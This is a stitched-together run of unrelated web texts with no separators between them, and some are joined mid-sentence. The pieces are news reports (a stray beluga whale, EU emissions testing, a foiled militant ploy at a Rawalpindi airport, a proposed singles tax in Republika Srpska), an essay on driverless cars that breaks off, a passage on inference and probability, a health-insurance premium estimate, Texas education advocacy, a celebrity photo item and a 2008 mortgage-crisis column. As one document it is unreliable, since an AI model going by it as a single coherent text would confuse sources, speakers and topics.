On the other hand, using skill injectors to to build a foundation of solid frigate skills is a positive example. Doing so can be advantageous, but do not fall into the mindset that maxed out is better because the costs stack up very quickly, especially once you are into the diminishing return levels of skill points.Residents report fluke sightings of creature, which usually makes its home in colder waters
TAUNTON — The Taunton River has had an unexpected guest for the past week or so.
On June 18, the International Fund for Animal Welfare, acting on a report made three days earlier of a beluga whale swimming in the Taunton River, confirmed that it was a beluga after spotting it from an aircraft.
Since being spotted, the whale has been seen at various points on the river, from Somerset to Berkley to the Taunton Yacht Club in Dighton.
The arrival of the river’s newest inhabitant is raising many questions among residents and the marine science community.
“I wish we knew why (it is here),” said Brian Sharp, the manager of marine mammal rescue and research division at the IFAW.
Beluga whales are not native to this area. These animals are found in arctic and subarctic waters, with the southernmost group located in the Gulf of St. Lawrence in Canada.
Little is known about the creature in the Taunton River, including its age, gender and where it came from.
Tony LaCasse, the media relations director of the New England Aquarium, said it might have been pushed out of its natural habitats by other animals, or it might have made a mistake when searching for its migration routes.
LaCasse also said this whale could just be a young creature filled with wanderlust, as are many “wrong-way” animals.
“When do you backpack across Europe or road trip across country? When you’re young. Sea animals have the same sort of ambitions as humans,” LaCasse said.
Beluga whales are typically found in groups, or pods, of two to 10 or more, LaCasse said, though it is not rare for them to go out on their own.
IFAW is monitoring the whale and assessing what the next step should be, including whether to extricate it.
“There will be no intervention unless the animal's health begins deteriorating,” Sharp said.
Though it is rare that belugas venture this far south, it is not entirely uncommon. There have been three confirmed sightings in the past decade.
The most recent and the most famous sighting was of a young male beluga named Poco. The whale was found during a survey in the Boston Harbor in 2004. Poco was known to cruise the coast until it died of what LaCasse called a “systematic infection.”
Sightings of the beluga have been reported on social media, too.
“A beluga whale right here in the Taunton River! A long ways from home, isn’t it?” Twitter user Zach Perrin Tweeted last weekend, along with a photo of the creature.
“I saw the Taunton River whale on June 16 in front of the Taunton Yacht Club,” Twitter user Scott Gebelein reported to The Herald News, along with a photo he took.
For now, the IFAW is going to continue to monitor the animal and is reminding people who spot the creature to stay at least 150 feet away from it and to call the group’s hot line at 508-743-9548.It’s the hot new gadget idea: the driverless car. Tech writers are fascinated. Trend watchers hail it as the leading edge of a wider movement towards robots promising to improve on what humans can do. Newt Gingrich, ever the futurist, is over the moon. Google has a tiny, adorable prototype best described as “a driverless golf cart”:
In the short run, the road to a future of driverless cars looks bumpy. Technical hurdles remain, and like many such innovations, the driverless car will first hit the market at high-end, early-adopter prices. The first driverless cars will likely not be truly driverless, but will require a licensed and capable driver able to override the steering computer in case the car gets lost or is in danger of an accident.
New technologies also always prompt a certain amount of suspicion and anxiety. Our fear of the destructive power of automobiles is well-founded: motor vehicle accidents, mainly car accidents, are perennially the number one cause of non-natural death in the United States, especially among young people. Some flaws in the driverless technology may not be fully apparent until they are put to a real road test. Machines can react faster and more predictably than human beings, but mixing machines and humans on the same road is likely to lead to unpredictable kinds of accidents, even if the machines function as designed. And in the event there are accidents and people are injured or killed, it remains to be seen if the driverless car manufacturers will be eaten alive by the personal injury bar, technology-averse juries, and Luddite legislators and regulators before the industry even gets off the ground.
But that’s the short run. If truly driverless cars can be made to work reliably and sold at economical prices, and if they are not driven from the market by product liability lawsuits, they could have a dramatic effect on our society. Let us count the ways:
1. Fewer Car Accidents: This is where it all begins. For all the sales pitches on convenience and novelty, the real benefit of driverless cars for drivers and society is the promise of drastically reducing the number of accidents causing death, injury and property loss. Estimates of those costs vary—one recent study pegged the financial cost to Americans at $871 billion a year, including “594 billion in societal harm from the loss of life and the pain and decreased quality of life because of injuries.”
NHTSA’s study…focuses on some of the behavioral factors that contributed to [2010’s] 32,999 highway fatalities, 3.9 million injuries and 24 million damaged vehicles. It found that just three driver behaviors, speeding [24%], drunken driving [23%] and distracted driving [15%], accounted for 56% of the economic loss to the nation and 62% of the societal harm (bold added).
Even discounting that figure for bureaucratic self-interest, we’re talking about very large costs in both human and economic terms, costs that fall disproportionately on the young and healthy (and their families and friends), and are caused primarily by driver misconduct or error. Without human drivers who drive drunk, drive tired, drive distracted, drive while texting or on the phone, drive too fast, drive angry, et cetera, we should see a great reduction in car accidents. Most likely you’ve been personally affected by a death or injury from a car accident; most of us have. A truly driverless road would not be accident-free, given the number of accidents that would still be caused by mechanical and computer errors, weather conditions, pedestrians, bicyclists, motorcyclists and sheer random chance. But it would make the now-routine loss of life and limb on the roads far rarer.
2. Revolutionizing Car Design: To an enormous extent, the design of cars is built around the needs of the driver. Start with the windshield: the front of the passenger compartment, close to the first two people in the car, is a large and vulnerable piece of glass. No matter how many technological advancements have been made in windshield construction, shattered windshields and people being launched through them remains a major cause of injury and death. (I’ve experienced the hair-raising situation of having a large bird slam into my windshield hard enough to break it). And windshields are one of the hardest, yet most essential, parts of a car to keep clean, requiring among other things regular replacement of the wipers.
Once you move away from the need to have everything within arm’s reach of the driver’s console, other design changes follow.
But a driverless car does not need a windshield (it will have exterior cameras/sensors to watch the road, the way some sensors now watch the bumpers), nor does it need to situate seats facing forward near the front. The person in charge of getting the car to its destination can sit anywhere and check the directions and the road from a monitor. Once you move away from the need to have everything within arm’s reach of the driver’s console, other design changes follow. Air conditioning, GPS, stereo, and video systems can be controlled from anywhere within the car. And debates over things like stick shift versus automatic transmissions become pointless without the human driver.
Then there’s safety. The current tug of war between heavier and therefore safer cars against lighter and more fuel-efficient cars could be revolutionized if we transition to truly driverless roads, which would likely see far fewer accidents and in particular far fewer high-speed accidents. Safety isn’t the only reason for big cars—there’s also a need for space for kids and cargo—but it’s a major consideration and one that will be less urgent as people acclimate to reduced risk of accident.
The flip side, however, is that people freed from the stress of driving and liberated from the fear of accidents may gravitate more towards the mobile-home/RV/stretch limo model of the car as a traveling living room, full of creature comforts and space to move around, use the bathroom, grab a drink, cook meth, or whatever. The result could well end up accelerating the current social divide between childless city-dwellers traveling in tiny, slow-moving foam beta-mobiles and suburban and rural families hauling about in huge road hogs.
3. Changing The Layout of Roads and Traffic Patterns: Beyond cars themselves, the design of roads and traffic today are built around the human needs and human behavior of human drivers. That means lots of road signs, lane markers, and street lights, and the need to keep trees and hedges from obstructing the visibility of corners. It means dealing with how human drivers merge and change lanes (badly), how they make right and left turns in traffic (differently), how they adapt to different weather conditions (inconsistently) and how they obey speed limits, traffic lights and stop signs (sporadically). It means adapting to drivers from around the world who speak different languages, measure distance and speed using different measurements, and are accustomed to driving on different sides of the road.
The possibilities can test the imagination of public planners for years to come.
All of these things can change when the drivers on the road are predictable machines rather than unpredictable humans. Speed limits can be safely raised when cars are driven with machine reflexes, machine predictability and machines’ programmed ability to obey the limits. Planners can finally achieve their dream of getting cars to merge in optimal and cooperative patterns, ending road-rage-inducing snarls. Public safety concerns can focus on road surfaces rather than visibility. Intersections can be reworked with the confidence that every car on the road will obey the rules. Even concerns about suburban sprawl may be reconsidered in light of the changes (discussed below) in how car transportation functions as part of the workday. The possibilities can test the imagination of public planners for years to come.
4. Changing Who Can Drive: Driving, today, is a hallmark of responsible adulthood. Getting a driver’s license at 16 or 17, and learning to safely operate a motor vehicle, is a major rite of passage. High schools spend teaching time on Driver’s Ed. Driver’s licenses are the most widely-used form of photo identification, and whether the government should issue them to people who are in the country illegally is a continuing source of political controversy. People with serious physical or mental handicaps cannot drive. People who have had too much to drink, or are high on drugs or heavily medicated, cannot or should not drive. And at the other end, for the elderly, losing the ability to drive when their eyesight and reflexes fail can be a major blow to their independence.
Getting a driver’s license at 16 or 17, and learning to safely operate a motor vehicle, is a major rite of passage.
None of these things need be true of a driverless car. A child old enough to ride a bicycle or take the subway unescorted could be old enough to take a driverless car trip, especially assuming (as discussed below) improvements in anti-theft technologies and the impossibility of even moving the car without being tracked. The elderly and the handicapped could gain greatly from the increased mobility and independence of being able to use a driverless car to go places and shop for groceries. On the other hand, the demise of the driver’s license creates challenges for the many ways in which it is used as a de facto identification card, and could create pressure for a new federal identification card.
5: Altering the Legal and Insurance Landscape: Auto insurance and auto accident lawsuits are a multi-billion-dollar business, as even a caveman or a lizard could tell you. Indeed, the risk of accidents is why states mandate that drivers carry insurance, for which many drivers might otherwise decline to pay. Eliminating drivers and the accidents they cause would unsettle this vast business enterprise in numerous ways, likely downsizing car insurance companies and redirecting lawyers towards suing manufacturers.
6. Lowering The Drinking Age: One of the major arguments for the 21-year-old drinking age—indeed, the justification upheld in 1987 as Transportation Secretary Elizabeth Dole’s basis for imposing that drinking age on any state that receives federal highway funds—is to reduce drunk-driving fatalities. Arguments against impaired driving are also a major component of the case against legalizing marijuana. But what if drunk and stoned college kids never had to drive? The driverless car could unsettle these public policy debates by removing an important trump card in arguments against individual liberty and individual responsibility. (Reductions in auto accidents could have a similar effect on seatbelt laws).
7. Destroying Car Culture: Here we move from the specific to the general, because cars, in America, are not just an appliance. They represent a deep expression of how American culture expressed and asserted itself in the 20th Century. Cars meant independence, and the bond between an American—particularly an American man—and his car was deep and profound, the subject of numerous songs and movies. People drive for fun, to see places, to get away, they tinker with their cars, love their cars, and argue about their merits. That bond will inevitably be lost in a world where the car is no longer controlled and steered by the individual, but is simply a delivery service for a requested address.
Cars represent a deep expression of how American culture expressed and asserted itself in the 20th Century.
Sentiment aside, this is the cost of progress. In the 19th Century, we had a horse culture. Horses were the companion of the settler, the wagon train, the cavalryman, the cowboy. Even if you lived in a big city, where people traveled by carriage and goods were delivered by horse-drawn wagons, most every American knew some of the basics of horsemanship: how to mount a horse, win a horse’s trust, command and steer a horse, and re-shoe a horse at need. Today, horsemanship is the province of the very rich, the very rural, and those who make a living dealing with horses, and is alien to most Americans. In time, the same will be true of car culture—the wealthy will race on private tracks, the country boys and girls will drive off road, but the rest of us will be escorted around by machines without thought for how to drive them. We may not even be able to foresee all the ways that changes how we view our own lives and the culture we live in.
8. Degrading Military Preparedness: An extension of the loss of car culture is that young people who grow up without the experience of driving and tinkering with cars will be less prepared to do so in the military. Our society is already facing declines in many of the life skills that we have taken for granted in the past as contributors to making good citizen-soldiers: physical fitness, marksmanship, self-reliance, outdoorsmanship. Cars in civilian life can be driverless because they follow roads, maps, and rules, but none of those are characteristics of the battlefield, even in urban combat. Military vehicles also need to constantly react to threats far less predictable than traffic
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we originally reacted to B, we may say that A is a "datum" and B is "Inferred". In this sense, animals practise inference. It is clear, also, that much inference of this sort is fallacious: the conjunction of A and B in past experience may have been accidental. What is less clear is that there is any way of refining this type of inference which will make it valid. That, however, is a question which we shall consider later. What I want consider now is the nature of those elements in our experiences which, to a reflective analysis, appear as "data" in the above-defined sense.
Mental and Physical Data.
Traditionally, there are two sorts of data, one physical, derived from the senses, the other mental, derived from introspection. It seems highly questionable whether this distinction can be validly made among data; it seems rather to belong to what is inferred from them. Suppose, for the sake of definiteness, that you are looking at a white triangle drawn on a black-board. You can make the two judgments: "There is a triangle there", and "I see a triangle." These are different propositions, but neither expresses a bare datum; the bare datum seems to be the same in both propositions. To illustrate the difference of the propositions: you might say "There is a triangle there", if you had seen it a moment ago but now had your eyes shut, and in this case you would not say "I see a triangle"; on the other hand, you might see a black dot which you knew to be due to indigestion or fatigue, and in this case you would not say "There is a black dot there." In the first of these cases, you have a clear case of inference, not of a datum.
In the second case, you refuse to infer a public object, open to the observation of others. This shows that "I see a triangle" comes nearer to being a datum than "There is a triangle there." But the words "I" and "see" both involve inferences, and cannot be included in any form of words which aims at expressing a bare datum. The word "I" derives its meaning, partly, from memory and expectation, since I do not exist only at one moment. And the word "see" is a causal word, suggesting dependence upon the eyes; this involves experience, since a new-born baby does not know that what it sees depends upon its eyes. However, we can eliminate this dependence upon experience, since obviously all seen objects have a common quality, not belonging to auditory or tactual or any other objects. Let us call this quality that of being "visual". Then we can say: "There is a visual triangle." This is about as near as we can get in words to the datum for both propositions: "There is a triangle there", and "I see a triangle." The difference between the propositions results from different inferences: in the first, to the public world of physics, involving perceptions of others; in the second, to the whole of my experience, in which the visual triangle is an element. The difference between the physical and the mental, therefore, would seem to belong to inferences and constructions, not to data.
It would thus seem that data, in the sense in which we are using the word, consist of brief events, rousing in us various reactions, some of which may be called "inferences", or may at least be said to show the presence of inference. The two-fold organisation of these events, on the one hand as constituents of the public world of physics, on the other hand as parts of a personal experience, belongs to what is inferred, not to what is given. For theory of knowledge, the question of the validity of inference is vital. Unfortunately, nothing very satisfactory can be said about it, and the most careful discussions have been the most sceptical. However, let us examine the matter without prejudice.
III. METHODS OF INFERENCE
It is customary to distinguish two kinds of inference, Deduction and Induction. Deduction is obviously of great practical importance, since it embraces the whole of mathematics. But it may be questioned whether it is, in any strict sense, a form of inference at all. A pure deduction consists merely of saying the same thing in another way. Application to a particular case may have importance, because we bring in the experience that there is such a case-for example, when we infer that Socrates is mortal because all men are mortal. But in this case we have brought in a new piece of experience, not involved in the abstract deductive schema. In pure deduction, we deal with x and y not with empirically given objects such as Socrates and Plato. However this may be, pure deduction does not raise the problems which are of most importance for theory of knowledge, and we may therefore pass it by.
Induction.
The important forms of inference for theory of knowledge are those in which we infer the existence of something having certain characteristics from the existence of something having certain other characteristics. For example: you read in the newspaper that a certain eminent man is dead, and you infer that he is dead. Sometimes, of course, the inference is mistaken. I have read accounts of my own death in newspapers, but I abstained from inferring that I was a ghost. In general, however, such inferences are essential to the conduct of life. Imagine the life of a sceptic who doubted the accuracy of the telephone book, or, when he received a letter, considered seriously the possibility that the black marks might have been made accidentally by an inky fly crawling over the paper. We have to accept merely probable knowledge in daily life, and theory of knowledge must help us to decide when it really is probable, and not mere animal prejudice.
Probability.
Far the most adequate discussion of the type of inference we are considering is obtained in J. M. Keynes's Treatise on Probability (1921). So superior is his work to that of his predecessors that it renders consideration of them unnecessary. Mr. Keynes considers induction and analogy together, and regards the latter as the basis of the former. The bare essence of an inference by analogy is as follows: We have found a number of instances in which two characteristics are combined, and no instances in which they are not combined; we find a new instance in which we know that one of the characteristics is present, but do not know whether the other is present or absent; we argue by analogy that probably the other characteristic is also present. The degree of probability which we infer will vary according to various circumstances. It is undeniable that we do make such inferences, and that neither science nor daily life would be possible without them. The question for the logician is as to their validity. Are they valid always, never or sometimes? And in the last case, can we decide when they are valid?
Limitation of Variety.
Mr. Keynes considers that mere increase in the number of instances in which two qualities are found together does not do much to strengthen the probability of their being found together in other instances. The important point, according to him, is that in the known cases the instances should have as few other qualities in common as possible. But even then a further assumption is required, which is called the principle of limitation of variety. This assumption is stated as follows : "That the objects in the field, over which our generalisations extend, do not have an infinite number of independent qualities; that, in other words, their characteristics, however numerous, cohere together in groups of invariable connection, which are finite in number." It is not necessary to regard this assumption as certain; it is enough if there is some finite probability in its favour.
It is not easy to find any arguments for or against an a priori finite probability in favour of the limitation of variety. It should be observed, however, that a "finite" probability, in Mr. Keynes's terminology, means a probability greater than some numerically measurable probability, e.g. the probability of a penny coming "heads" a million times running. When this is realised, the assumption certainly seems plausible. The strongest argument on the side of scepticism is that both men and animals are constantly led to beliefs (in the behaviouristic sense), which are caused by what may be called invalid inductions; this happens whenever some accidental collocation has produced an association not in accordance with any objective law. Dr. Watson caused an infant to be terrified of white rats by beating a gong behind its head at the moment of showing it a white rat (Behaviourism). On the whole, however, accidental collocations will usually tend to be different for different people, and therefore the inductions in which men are agreed have a good chance of being valid. Scientific inductive or analogical inferences may, in the best cases, be assumed to have a high degree of probability, if the above principle of limitation of variety is true or finitely probable. This result is not so definite as we could wish, but it is at least preferable to Hume's complete scepticism. And it is not obtained, like Kant's answer to Hume, by a philosophy ad hoc; it proceeds on the ordinary lines of scientific method.
Grades of Certainty.
Theory of knowledge, as we have seen, is a subject which is partly logical, partly psychological; the connection between these parts is not very close. The logical part may, perhaps, come to be mainly an organisation of what passes for knowledge according to differing grades of certainty: some portions of our beliefs involve more dubious assumptions than are involved in other parts. Logic and mathematics on the one hand, and the facts of perception on the other, have the highest grade of certainty; where memory comes in, the certainty is lessened; where unobserved matter comes in, the certainty is further lessened; beyond all these stages comes what a cautious man of science would admit to be doubtful. The attempt to increase scientific certainty by means of some special philosophy seems hopeless, since, in view of the disagreement of philosophers, philosophical propositions must count as among the most doubtful of those to which serious students give an unqualified assent. For this reason, we have confined ourselves to discussions which do not assume any definite position on philosophical as opposed to scientific questions.Volkswagen is expected to plead guilty on Friday to fraud in federal court. This photo, taken on Sept. 29, 2015, shows the logo of German car maker Volkswagen at Northern Virginia dealer in Woodbridge, Virginia. (Photo: Paul J. Richards, AFP/Getty Images)
BRUSSELS — The European Union's executive has proposed wholesale changes to tests for new car models to crack down on excessive emissions and avoid scandals like the one that hit Volkswagen and the automobile sector last year.
Emissions from cars on the road in the EU have been found to be four to five times above the official limits. That's largely because the current tests are done in labs, where carmakers are able to cut corners to pass. The back seats might be pulled out to reduce weight, for example, or the doors taped over to reduce air drag.
Under the new rules, the member states and the EU Commission would be allowed to carry out spot tests on cars that have already been released onto the market.
The EU also wants to do away with a system whereby car companies can pay technical services to carry out the testing and thereby cut any possible financial links between the industry and the testers.
Vehicle testing, which is currently carried out in individual states, would come under greater centralized European oversight under the new rules.
EU Commissioner Jyrki Katainen said Wednesday that in the wake of the Volkswagen scandal, "it is essential to restore a level playing field and fair competition in the market."
Wednesday's proposals now go to the EU member states and the European Parliament for further debate before they can become law.
"To regain customers' trust in this important industry, we need to tighten the rules but also ensure they are effectively observed," Katainen said.
Copyright 2016 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
Read or Share this story: http://on.freep.com/1VrhzDSThe Affordable Care Act will push the over 45 million uninsured in the United States to find health care coverage. The largest portion of this group will find coverage through the health insurance marketplaces set up by the state and federal exchanges. Consumers purchasing through the exchanges will receive coverage through private insurance companies, with many receiving federal tax credits to help pay for policies. While the consumer may not be paying the full price of the policy, the insurance companies will still receive the full premium. With millions mandated to receive coverage, how much are the currently uninsured worth to the health insurance industry?
To answer this question we looked at what the uninsured would pay in monthly premiums for coverage with private insurers. (See our methodology below) Based on our estimates the uninsured are worth a potential $92+ billion in annual premiums to the insurance companies. The Affordable Care Act requires that 80% of the value of the premiums be used to service health care costs, leaving a little over $18.4 billion to be spread across employees, marketing, overhead and profits. Insurance companies we've looked at could expect anywhere from 2-4% of all premiums to come in the form of profits. This would amount to $1.8-$3.6 billion dollars annually.
Total Uninsured (2011) 45 million Uninsured Over 138% FPL 26.3 milion Total Annual Premiums $92 billion Profit Margin (2-4%) $1.8-3.6 billion
It will take a number of years for all of the uninsured to get coverage, with the CBO estimating that it may not occur until 2015. Accounting for annual increases in insurance premiums the annual total would easily exceed $100 billion by then.
Our Methodology
To estimate the potential value of the uninsured we needed to determine how many were uninsured and what their premiums would be for insurance. While the consumer may be paying only a fraction of the actual premiums due to tax credits, the insurance companies would still receive the full value of the premiums.
Prices for plans vary dramatically between states and even between counties within states. In order to account for this we approached our analysis at a county by county level.
For the cost of plans, we used the premium for the second lowest cost silver plan (SLCSP) available in each county. We chose this plan for the following reasons:
The SLCSP is the plan used in the determination of the available subsidies. The cap on what your family spends on health insurance is applied to this plan with any excess paid in the form of tax credits.
For those with incomes of less than 250% of FPL only silver plans are adjusted to have improved cost sharing, making silver plans a better deal for those that qualify.
Using data from the 2011 census, that underlies our county-by-county map we could get an idea of how many people were uninsured. For the our calculations we only included people who had household incomes over 138% of the Federal Poverty Level. Those with incomes below that line do not qualify for subsidies and were much less likely to be able to afford on-exchange private insurance.
The number of uninsured in each county was then broken down by age and a total potential premium was calculated using an age adjusted price for the SLSCP. The resulting total value of each county can be found in our map.0 Flares Filament.io 0 Flares ×
At a capitol press event today, a coalition of pro-public-school advocates joined state Rep. Mike Villarreal, Democrat of San Antonio, in a call to restore state funding for public education that was cut by $5.4 billion last session. Spearheaded by the citizens' group Our Values, Our Texas, the press conference challenged the refusal of top state officials to support using a new influx of state revenue above previous forecasts to fill the deep hole they created in the education budget for the five million students in our public schools.
http://www.ourvaluesourtexas.com/
Texas AFT President Linda Bridges cited four Texas AFT surveys of school employees and superintendents that have documented the damage done by the 2011 cuts, causing class sizes to swell, cutting the teacher workforce by more than 10,000 (and chopping even more from the ranks of other school personnel), and eliminating key programs such as full-day pre-kindergarten funded by state grants.
Our Values, Our Texas spokesman Tom Archer laid out the facts about the rapid inflow of new revenue, which gives the state at least $4.5 billion in available cash balances and $8.1 billion in the Economic Stabilization Fund (the so-called Rainy Day Fund) that could be tapped to begin undoing the severe cuts.
Other participants included the Save Texas Schools Coalition, Texas Equity Center, Texas State Teachers Association, Texas Rural Education Association, and Texas Forward, the revenue coalition that seeks both reversal of the 2011 cuts and a restructuring of the state's rickety, loophole-ridden tax structure.
Rep. Villarreal addressed part of his remarks directly to the state leadership triumvirate-Gov. Rick Perry, Lt. Gov. David Dewhurst, and House Speaker Joe Straus (all three are Republicans) He said: “There are no excuses. We have the money. … Stop sitting on it.”
Rep. Villarreal spoke for many today when he added: “We are angry because there is a faction in the state of Texas that wants to not invest in the next generation, that wants to walk away from what has been a historic covenant” of support for education of Texas schoolchildren.
One spark for the press conference was the meager budget request for 2014-2015 submitted to the legislature by the Texas Education Agency last month. That proposed budget doesn't even begin to make up for the cuts of $500-plus per pupil annually enacted last session. (TEA's contract with the Pearson testing company for its role in the state's standardized-testing program was one of the few items for which the agency requested additional state dollars.)
In effect, the state leadership through the budget proposed by TEA is saying that the education cuts of 2011 will continue for two more years, if they have their way. As Texas AFT's Linda Bridges noted, the upcoming November election gives education-minded Texas voters an opportunity to say what they think of the leadership's skewed priorities.
Coincidentally, a new poll out today from the Texas Lyceum group shows that 74 percent of Texans surveyed would even be willing to pay higher taxes in order to raise teacher pay. The poll showed margins above 60 percent in support of higher pay for support staff, new school construction, investment in computers, and additional instruction in art and music.The latest issue of the Korean magazine, High Cut, features a series of photos that imagine what life would be like if the bad boy of the Marvel universe, Deadpool, fell in love with K-Pop's bad girl, HyunA. Most of us stateside will recognize HyunA for her appearance in Psy's viral music video for "Gangnam Style."
The photos show the Merc with a Mouth embracing Hyuna, who is donning a wedding veil; the happy couple preparing a pasta meal, and lastly, HyunA looking attention-starved as her new beau reads about himself in High Cut magazine.
Note: We reached out to 20th Century Fox to see if this was part of their Deadpool marketing campaign or not. We'll update the article when we receive a response from them. Check out the Deadpool and HyunA lovey-dovey photos in our gallery at the bottom of the page.At least 18 militants dressed in police uniform arrived at the airport in three cars.
RAWALPINDI: A militant ploy to attack the Benazir Bhutto International Airport and the Pakistan Air Force’s Chaklala Air Base was foiled by security personnel who were on high alert, Express News reported on Thursday.
At least 18 militants dressed in police uniform arrived at the airport in three high-roof cars in the early hours of the morning. The cars used were also made to look like they belonged to the police, with sirens and revolving lights.
The militants tried to enter the airport taking the DIG’s name, however, the security staff did not let them through stating they had received no information or letter regarding such an arrival.
Once the Airport Security Force (ASF) counter checked with police officials, they learned that the DIG was sleeping at his residence.
Details suggested that the militants had wireless technology to listen to communications between the ASF and police officials as they escaped the second they heard that the DIG was sleeping at his residence.
There was allegedly no time for any action, as the militants sped off once they learnt their ploy had been discovered.
A search operation is underway at the airport, the base and nearby residential areas in search of the militants. No information regarding their location has been found as of yet.
Warning administered
Like the Dera Ismail Khan Jail attack, intelligence agencies had already warned authorities in this regard. The National Crisis Management Cell (NCMC) of the Interior Ministry, through two different threat alerts, conveyed the information to the police, Law Enforcement Agencies (LEAs), and Air Port Security Force (ASF) regarding foolproof security of these airports to foil the attack attempt by terrorists.
The contents of the threat alert based on a secret report, revealed that terrorists of Tehreek-e-Taliban Pakistan (TTP) were planning to carry out attacks on PAF base Chaklala and Benazir Bhutto International airport in the lines of Mehran base.
According to the report, the attackers had already carried out a reconnaissance of PAF with the help of guests and labourers at the base. It also said that some local employees were collaborating with terrorists, while weapons and ammunition would be concealed using cargo companies and agencies.
Another intelligence report was also forwarded to the police, LEAs, ASF and other concerned authorities revealing that terrorist plan to carry out terrorist attacks against Chaklala Air Base and Benazir Bhutto International Airport in near future.
Security measures
Benazir Airport and Chaklala Air Base have been on red alert since last night and more security precautions are being undertaken.
As part of heightened security measures, only ticket-holding passengers are being allowed access into the Benazir Bhutto International Airport.
Since the runway is shared by both the airport and the base, it would have been easy for the militants to cross into the Chaklala Air Base.
Read full storyBy Balkan Insight
By Danijel Kovacevic
In the light of worries that within a few decades the Bosnian Serb entity could be left without many able-bodied citizens, the RS Employers’ Union has asked for an emergency session of the Republika Srpska government and assembly on population policies.
The union says one measure to stimulate demography could be to tax unmarried men and women, which would encourage more people to marry and so increase the birth rate.
The union said it needs to figure it out who would be taxed and at what rate, and whether the tax would be the same for all age groups, but it said they were working on the details.
“This is the biggest national problem of Republika Srpska. This requires broader social action and so we expect an urgent response from the highest institutions of the RS,” Sasa Acic, union president, told BIRN.
“We will initiate our conclusions, which will be forwarded to the government of the RS, the National Assembly and the President of the Republic, and that, ultimately, will solve the problem,” he added.
According to the union, the RS stands to lose some 100,000 able-bodied citizens – almost 10 per cent of its overall population – in the next five years.
Unemployment will fall as the remaining labour force ages. The downside is that there will be fewer people left to work.
“Ten years from now, the RS will be forced to import labour,” demographer Stevo Pasalic told BIRN.
The negative birth rate is another reason for the reduced size of the working-age population. According to statistics, in less than two years, the RS population fell by 10,761 people, which is the difference between the number of newborn babies and deceased people.
Most economists dismiss the idea of a tax on singles but agree that the outward emigration of young workers is a big issue.
“Unfortunately, economic parameters indicate that Bosnian citizens will only live a better life if they leave the country,” economist Zoran Pavlovic told BIRN.
The RS government has not yet responded to the Employers’ Union request.
“We will say more when we receive their official request but I don’t think that taxing singles or couples without children is a plausible option,” a source from the government told BIRN.
The “singles tax” idea is not new. Some two years ago, RS president Milorad Dodik proposed the same thing, but it never got much support.
Many of those who would be affected by this proposal find it deeply disturbing.
“I find it very insulting – what if somebody can’t have a child?” Banja Luka resident Goran, who has been trying to have a baby with his wife for years, told BIRN.
“This entire concept is wrong. If they are worried that workers are leaving for abroad, why not raise salaries and keep them here?” Goran asked.
Another Banja Luka resident, Dragan said: “I am divorced – twice. So I think I have paid enough already.
“If they insist on a tax, I will marry for the third time. My friends already call me ‘Lord of the rings’, so why not buy another wedding ring?” Dragan added with a smile.
– See more at: http://www.balkaninsight.com/en/article/republika-srpska-ponders-taxes-on-singles-to-boost-demography-01-04-2017#sthash.Er0pvrTz.dpufVillains in the Mortgage Mess? Start at Wall Street. Keep Going.
By Kathleen Day
Sunday, June 1, 2008
Yes, the executives at Countrywide Financial Corp. planned a top-dollar shindig at a ski resort earlier this year, just after the bank's multibillion dollar losses on subprime mortgages required a shotgun marriage to Bank of America. (A Wall Street Journal story forced them to cancel the party.) And sure, Bear Stearns chief executive James E. Cayne was off playing golf last summer as two of his investment bank's hedge funds collapsed under gargantuan subprime losses. (He's been dumped.)
But so far, the current mortgage meltdown hasn't featured the crasser displays of the 1980s savings and loan fiasco, when executives partied hearty -- one banker famously dressed up as a king and served lion meat to his guests -- as they created a mortgage industry mess that cost taxpayers more than $500 billion.
As a reporter for this newspaper, I covered the savings and loan debacle in depth and later wrote a book about it. Watching the current crisis unfold, I see much of the same behavior that led to the "S&L Hell" of two decades ago. Indeed, some of the fixes for the last problem led directly to this one. Once again, too many people had access to other people's money with too little oversight. Once again, the White House, Congress and federal bank regulators failed to police the financial services industry because they mistook deregulation for a system without any reasonable rules. And now as then, our saga is chock-a-block with people and institutions deserving special mention in the Suprime Hall of Slime.
But make no mistake: Today's crisis dwarfs the S&L fiasco. The eventual cost to taxpayers of this scandal is likely to make yesteryear's culprits look like pikers.
The short version of how we got here: Lenders, fat with money made cheap by the federal government, aggressively coaxed millions of borrowers to take out unaffordable mortgages. They lent this money without assessing whether borrowers could repay it. They assumed, in fact, that most wouldn't be able to and would have to refinance into new, equally unaffordable loans. This process would produce an endless cycle of fees for the lenders -- but only if home prices rose, fairy-tale-like, forever.
On what planet would that be an acceptable business plan?
Here's a longer version of how this happened, with a nod of recognition to the many actors who made it possible.
First and foremost: Wall Street. In the 1990s, after the S&L blowout -- and bailout -- an innovation called securitization took hold on Wall Street to spread risk among many investments and investors. The idea was to insulate mortgage lenders from the ravages of sharp interest-rate spikes that could catch them holding low-interest mortgages even as depositors demanded high-interest returns on savings -- the very thing that had sparked the savings and loan industry's turmoil.
By the end of the millennium, securitization in the housing market was a huge, well-greased mass production line. Mortgage finance giants Fannie Mae and Freddie Mac -- companies chartered by Congress to finance home lending -- bought home loans from banks, then bundled hundreds of them together to secure a bond, called a mortgage-backed security. Wall Street investment bankers bought the securities, which then traded freely in the bond market. For a fee, Fannie and Freddie guaranteed the mortgages behind every security against default, so they required lenders to assess each borrower's ability to repay a loan -- a prudent practice known as underwriting.
Fannie and Freddie's underwriting rules are the gold standard by which lenders evaluate the creditworthiness of "prime" borrowers, people whose strong credit histories make them a low risk and therefore eligible for the lowest borrowing charges.
Fannie and Freddie competed fiercely with each other to create these bonds at the best price, paying less and less for the loans they bought from banks. Securitization became so efficient that it shaved profits in the prime market paper-thin. In response, by 2000, a market had sprouted to lend to "subprime," or higher-risk, borrowers, who could be charged more for loans. Many of these individuals had been denied access to credit for decades because of their skin color or the neighborhoods they lived in -- a process known as redlining for the magic-marker boundaries lenders drew on maps to show which areas were off limits. (Subprime didn't turn out to be a boon to minority home ownership, however; many minority families have ended up as the biggest victims in this mortgage mess.)
Wall Street firms were also eyeing the subprime market. They began buying and bundling subprime mortgages into "private-label" mortgage-backed securities. But Wall Street didn't guarantee the loans it bought, so it had no financial stake in assessing borrowers' creditworthiness. Which meant that lenders didn't have to care, either.
Wall Street investment banks soon became crazy for loans to people with impaired credit, who could be charged more for a mortgage because of the higher chance of default. Absent any rules, including any preventing lenders from mislabeling borrowers a high risk, subprime lending standards slipped, and mortgage signings on a car hood in the driveway became a not uncommon sight.
